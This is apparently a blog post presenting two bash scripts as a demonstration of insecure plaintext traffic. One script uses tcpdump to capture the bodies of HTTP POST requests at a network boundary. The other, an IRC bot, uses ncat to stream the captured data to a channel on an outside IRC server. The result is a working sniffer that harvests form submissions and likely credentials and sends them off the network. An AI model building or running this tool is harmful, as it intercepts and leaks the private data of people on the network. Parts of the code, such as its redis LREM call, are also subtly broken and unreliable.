A somewhat controversial topic!
As of late there is greater and greater push for transport later security. rightly so.
Below is an example of using tcpdump and ncat to log insecure http/pop/smtp etc.. traffic at a network boundary and log the results into irc chat.
Required:
apt-get install tcpdump ncat redis
How it works
Create the 2 files below, make sure redis is running, and start them.
It doesn’t mater which one you start first.
IRC bot
#!/bin/bash -ex
REDIS_CLI="redis-cli -h 127.0.0.1"
q1="queue"
q2="processing"
# redis nil reply
nil=$(echo -n -e '\r\n')
consume() {
USER=BOTUSERNAME #$1
MYPASSWORD=BOTPASSWORD #$2
IRC_SERVER=SERVER #$3
IRC_PORT=6697 #$4
CHANNEL=#CHANNEL #$5
(
sleep 15
echo NICK $USER
sleep 1
echo USER $USER 8 * : $USER
sleep 5
echo "PRIVMSG NickServ :IDENTIFY $USER $MYPASSWORD"
sleep 5
echo "PRIVMSG ChanServ :INVITE $CHANNEL"
sleep 5
echo "JOIN $CHANNEL"
sleep 2
while true; do
# move message to processing queue
MSG=$(echo "RPOPLPUSH $q1 $q2" | $REDIS_CLI)
if [[ -z "$MSG" ]]; then
echo "PRIVMSG $CHANNEL :zzz...."
sleep $[ ( $RANDOM % 120 ) + 1 ]s
continue
fi
echo "PRIVMSG $CHANNEL :========="
echo $MSG | fold -s -w160 | while read -r bline
do
echo "PRIVMSG $CHANNEL :"$bline
sleep 1
done
# remove message from processing queue
echo "LREM $q2 $q1 \"$MSG\"" | $REDIS_CLI >/dev/null
done
sleep 2
echo QUIT
) | ncat --ssl $IRC_SERVER $IRC_PORT
}
while true; do
consume
done
Tcpdump
#!/bin/bash
REDIS_CLI="redis-cli -h 127.0.0.1"
n=1
nmax=1000
q1="queue"
q2="processing"
clean() {
echo "DEL $q1" | $REDIS_CLI
echo "DEL $q2" | $REDIS_CLI
}
produce() {
while true; do
MSG=$(timeout --foreground -s 15 10s tcpdump -v -s 0 -A 'tcp dst port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)' | php -R 'echo addslashes(htmlspecialchars($argn));' )
echo $MSG | while read -r line
do
tline=$(echo $line | sed 's/\"//g')
tline=$(echo $tline | sed '/^$/d')
if [ "$tline" == "" ]; then
continue;
fi
echo "LPUSH $q1 \"$tline\""
echo ""
echo "LPUSH $q1 \"$tline\"" | $REDIS_CLI
done
done
}
clean
produce